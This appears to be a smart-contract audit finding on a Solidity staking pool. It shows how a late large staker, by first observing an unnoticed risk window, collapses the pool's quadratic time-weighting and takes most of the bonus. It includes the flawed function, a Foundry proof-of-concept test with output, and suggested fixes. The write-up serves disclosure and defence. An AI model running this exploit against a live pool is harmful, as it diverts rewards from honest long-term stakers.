FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Large last-minute staker steals long-term stakers' bonus when the risk window is observed late (k=2 time-weighting collapses to amount-weighting)

Author Revealed upon completion

Description

The pool's central incentive is a k=2 time-weighted bonus meant to "crush late entrants within the observed risk window": a small, long-bearing staker should out-earn a large, last-minute one. docs/DESIGN.md Section 3 relies on this as a security property (deposits during UNDER_ATTACK are "crushed to ~zero by the k=2 weighting"), backed by the test testQuadraticCrushesInsiderLastMinuteStaker.

This protection is bypassed whenever the active-risk window is not promptly observed. riskWindowStart is sealed lazily on the FIRST observation (_observePoolState -> _markRiskWindowStart) and records the OBSERVATION time, not when the registry actually entered active-risk:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp; // observation time, NOT risk-onset time
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t; // eager reset: everyone "enters at t"
sumStakeTimeSq = totalEligibleStake * t * t;
}

If nobody pokes/stakes/withdraws while the registry is in UNDER_ATTACK/PROMOTION_REQUESTED, a late whale whose OWN stake is that first observation seals riskWindowStart at a late instant. At claim time _clampUserSums floors EVERY earlier staker's effective entry to that same late instant, so all deposits share the identical factor (T - riskWindowStart)^2. In share = mulDiv(userScore, snapshotTotalBonus, globalScore) with userScore = sum of amount*(T - entry)^2, that common factor cancels, leaving share proportional to eligibleStake. The k=2 time-weighting collapses to amount-weighting: a whale with 1000x the stake and ~zero real at-risk time takes ~1000x the bonus, draining it from the long-term stakers it was meant to reward.

Section 3 argues the joiner's score (T - entry)^2 ~= 0, but that is the ABSOLUTE score; the payout is a RELATIVE split, and when every score carries the same small (T - riskWindowStart)^2 the whale's share is simply its stake fraction. Section 7 calls pre-seal amount-weighting intentional because "pre-risk calendar time is not at-risk time" - but that premise is FALSE here: the interval collapsed into the cohort is genuine at-risk time (the registry was in UNDER_ATTACK). Every existing test in this area pokes promptly so the seal tracks risk onset; none models an unobserved window followed by a late whale.

Risk

Likelihood: Medium

  • Observation is lazy/permissionless and passive stakers do not proactively poke, so an unobserved active-risk window is the realistic default. An attacker can monitor and SELECT pools already in this state (getAgreementState == UNDER_ATTACK while riskWindowStart == 0) and strike late.

  • The seal is one-way, so once the whale seals it late the outcome is irreversible.

Impact: Medium

  • The protocol's core "reward early confidence / crush late entrants" property (Section 3) is defeated; the bonus (the primary staker incentive per the README) is redirected from long-term honest stakers to an opportunistic late whale.

  • Works on both the EXPIRED auto-resolution path (cheapest - the whale's principal is exposed only minutes before expiry) and the moderator SURVIVED path.

Proof of Concept

Drop this into test/unit/Poc.t.sol and run forge test --match-path test/unit/Poc.t.sol -vv. Both tests PASS against the UNMODIFIED contracts. alice stakes 100 and bears ~30 days of real at-risk time; bob stakes 100,000 (1000x) during UNDER_ATTACK shortly before resolution, with no prior observation. The control test proves a single prompt pokeRiskWindow() restores k=2 and crushes the whale, isolating delayed observation as the trigger. (The moderator SURVIVED path behaves identically.)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PocLateWhale is BaseConfidencePoolTest {
// EXPLOIT: unobserved risk window -> late whale seals it -> amount-weighted -> whale takes the bonus
function test_lateWhaleStealsBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(makeAddr("sponsorBonus"), 1_000 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK); // NOBODY pokes
vm.warp(BASE_TIMESTAMP + 31 days - 30 minutes);
_stake(bob, 100_000 * ONE); // 1000x alice; his own stake seals riskWindowStart late
assertEq(pool.riskWindowStart(), vm.getBlockTimestamp(), "whale sealed the window late");
vm.warp(BASE_TIMESTAMP + 31 days + 1);
vm.prank(alice); pool.claimExpired();
vm.prank(bob); pool.claimExpired();
uint256 aliceBonus = token.balanceOf(alice) - 100 * ONE;
uint256 bobBonus = token.balanceOf(bob) - 100_000 * ONE;
emit log_named_decimal_uint("alice (30d at-risk) bonus", aliceBonus, 18);
emit log_named_decimal_uint("bob (30min whale) bonus", bobBonus, 18);
assertGt(bobBonus, aliceBonus * 900, "whale captured amount-weighted bonus");
}
// CONTROL: one prompt poke restores k=2 and the whale IS crushed
function test_control_promptPokeCrushesWhale() external {
_stake(alice, 100 * ONE);
_contributeBonus(makeAddr("sponsorBonus"), 1_000 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow(); // prompt observation seals riskWindowStart EARLY
vm.warp(BASE_TIMESTAMP + 31 days - 30 minutes);
_stake(bob, 100_000 * ONE);
vm.warp(BASE_TIMESTAMP + 31 days + 1);
vm.prank(alice); pool.claimExpired();
vm.prank(bob); pool.claimExpired();
uint256 aliceBonus = token.balanceOf(alice) - 100 * ONE;
uint256 bobBonus = token.balanceOf(bob) - 100_000 * ONE;
assertGt(aliceBonus, bobBonus, "with prompt poke, k=2 protects the long-term staker");
}
}

Output (unmodified contracts):

[PASS] test_control_promptPokeCrushesWhale()
[PASS] test_lateWhaleStealsBonus()
alice (30d at-risk) bonus: 0.999000999000999000
bob (30min whale) bonus: 999.000999000999000999

The exploit test is the direct inverse of the team's testQuadraticCrushesInsiderLastMinuteStaker, differing only in whether the risk window is promptly poked.

Recommended Mitigation

Root cause: riskWindowStart records OBSERVATION time, not risk-onset time, so honest at-risk time is discarded when observation lags.

  1. Make a deposit that itself first seals the risk window ineligible for bonus (score 0) rather than amount-weighted, preserving the Section 3 guarantee even when observation lagged.

  2. Or gate resolution on a minimum observed risk duration / require the window to be sealed within a bounded delay of the registry transition (incentivized keeper), so riskWindowStart cannot be deferred to collapse the time-weighting.

  3. At minimum, document that stakers MUST promptly pokeRiskWindow() when the registry enters active-risk, or forfeit their time-weighted bonus.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!